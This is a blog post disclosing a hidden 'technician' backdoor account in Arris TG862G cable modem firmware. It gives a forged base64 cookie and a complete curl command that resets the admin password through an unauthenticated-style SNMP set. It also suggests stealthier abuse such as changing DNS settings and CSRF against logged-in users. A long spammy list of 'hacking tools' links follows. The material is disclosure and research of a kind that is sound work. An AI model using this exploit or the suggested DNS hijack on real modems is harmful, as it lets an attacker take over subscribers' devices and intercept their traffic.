Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW
After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):
Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:
{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}And after base64 decoding the "credential" value we get:
{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:
Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9Which decodes to the following:
{"credential":"dGVjaG5pY2lhbjo="}And finally:
{"credential":"technician:"}Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(
That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.
Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:
That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:
Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:
SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:
HTTP/1.1 200 OKWhat about setting a new value? Surely that will not work....
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}
That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:
This functionality can be wrapped up in the following curl command:
curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.
The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this
Related articles
- Hacker Tool Kit
- Tools For Hacker
- Hack Tools
- World No 1 Hacker Software
- Hacking Tools Online
- Physical Pentest Tools
- Hack Tools For Mac
- Hack Tools Github
- Hack Tools For Pc
- Pentest Tools Subdomain
- Beginner Hacker Tools
- Pentest Box Tools Download
- Blackhat Hacker Tools
- Tools For Hacker
- Hack Tools Github
- Hack Tools For Games
- Pentest Tools Android
- Hacker Tools Linux
- Best Hacking Tools 2019
- Nsa Hacker Tools
- Hacking Apps
- Hacking Tools 2019
- Pentest Tools Alternative
- Hacking Tools Usb
- Hacker Tools Mac
- Pentest Tools Nmap
- Hack Tools Pc
- Pentest Tools Review
- Hacker Search Tools
- Hacking Tools Hardware
- Hacks And Tools
- Hack Tools For Pc
- Hack Tools
- Hack Tools
- Hacker Tools For Pc
- Hacker Tools For Pc
- Pentest Tools Kali Linux
- Pentest Tools Github
- Hacking Tools Github
- What Are Hacking Tools
- Hacking Tools Github
- Growth Hacker Tools
- What Are Hacking Tools
- Pentest Tools Find Subdomains
- Growth Hacker Tools
- Usb Pentest Tools
- Hack App
- Hacking Tools 2020
- Pentest Tools For Android
- Pentest Tools Website Vulnerability
- Hacker Tools For Ios
- Hack Tools 2019
- Hacking Tools Windows
- Pentest Tools Url Fuzzer
- Pentest Tools For Mac
- Pentest Recon Tools
- Hack Tools
- Tools Used For Hacking
- Hacking Tools
- Hacker Tools Mac
- Hacking Tools For Beginners
- Pentest Tools For Ubuntu
- Hack Apps
- Usb Pentest Tools
- Hacking Tools Kit
- Hacker Tools Linux
- How To Make Hacking Tools
- Hacker Tools Linux
- Pentest Tools Linux
- Hacker Tools Mac
- Hacking Tools For Windows Free Download
- Hacking Tools For Kali Linux
- Hack Website Online Tool
- Tools Used For Hacking
- Pentest Tools Apk
- Pentest Tools Website Vulnerability
- Pentest Tools Nmap
- Pentest Tools Linux
- Pentest Tools Find Subdomains
- Tools For Hacker
- Hacker Tools For Ios
- Hacker Tools 2020
- Pentest Tools Find Subdomains
- Pentest Tools Review
- Hak5 Tools
- Hack App
- Beginner Hacker Tools
- Kik Hack Tools
- Pentest Tools Android
- Hacker Tools For Windows
- Hack Apps
- Top Pentest Tools
- Hack Tools Online
- Best Pentesting Tools 2018
- Wifi Hacker Tools For Windows
- Pentest Tools Review
- How To Install Pentest Tools In Ubuntu
- Black Hat Hacker Tools
- Hacker Tools 2019
- Hacker Techniques Tools And Incident Handling
- Pentest Tools
- Hacking App
- Pentest Tools Kali Linux
- Pentest Tools Subdomain
- Pentest Tools List
- Computer Hacker
- Easy Hack Tools
- Hack Tools Online
- Hack Tools For Mac
- Computer Hacker
- Pentest Tools For Mac
- Hacking Tools Mac
- Blackhat Hacker Tools
- Hacker Tools Linux
- Hack Tools For Mac
- Hacking Tools
- Tools 4 Hack
- Hacking Tools Online
- Pentest Tools Url Fuzzer
- Pentest Tools Subdomain
- Pentest Tools Linux
- Hacking Tools For Kali Linux
- Pentest Tools Online
- World No 1 Hacker Software
- Pentest Tools Android
- Hacker Hardware Tools
- Hacking Tools Free Download
- Hak5 Tools
- How To Hack
- Pentest Tools Review
- Hacking Tools For Games
- Nsa Hack Tools Download
No comments:
Post a Comment